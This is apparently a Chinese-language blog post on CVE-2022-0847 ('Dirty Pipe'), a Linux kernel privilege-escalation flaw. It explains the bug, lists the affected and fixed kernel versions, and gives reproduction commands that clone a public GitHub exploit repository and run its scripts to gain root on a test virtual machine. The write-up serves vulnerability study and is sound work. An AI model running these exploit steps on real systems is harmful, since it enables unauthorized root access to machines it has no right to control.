CVE-2022-0847 Linux内核提权漏洞

发现新管道缓冲区结构的“标志”成员在 Linux 内核中的 copy_page_to_iter_pipe 和 push_pipe 函数中缺乏正确初始化的方式存在缺陷,因此可能包含陈旧值。非特权本地用户可以使用此漏洞写入由只读文件支持的页面缓存中的页面,从而提升他们在系统上的权限。

它是自 5.8 以来 Linux 内核中的一个漏洞,它允许覆盖任意只读文件中的数据。这会导致权限提升,因为非特权进程可以将代码注入根进程。

它类似于CVE-2016-5195 “Dirty Cow(脏牛)”,但更容易被利用。

修复版本:Linux 5.16.11、5.15.25 和 5.10.102 中修复。

漏洞具体原理可以参考如下:

The Dirty Pipe Vulnerability — The Dirty Pipe Vulnerability documentation

Red Hat Customer Portal - Access to 24x7 support and knowledge

https://dirtypipe.cm4all.com/
https://access.redhat.com/security/cve/cve-2022-0847

切记 该漏洞需要的是linux内核在5.8及以上

具体复现过程:

复现环境:

lsb_release -a
uname -a

Linux test1-virtual-machine 5.11.0-41-generic #45~20.04.1-Ubuntu SMP Wed Nov 10 10:20:10 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux

共有两个exp可以使用 我们首先使用exp2

git clone https://github.com/imfiver/CVE-2022-0847.git
cd CVE-2022-0847
chmod +x Dirty-Pipe.sh
bash Dirty-Pipe.sh

CVE-2022-0847 Linux内核提权漏洞_第1张图片

接下来使用exp1尝试提权

./compile.sh
./exploit

CVE-2022-0847 Linux内核提权漏洞_第2张图片

你可能感兴趣的:(二进制安全,web安全,安全)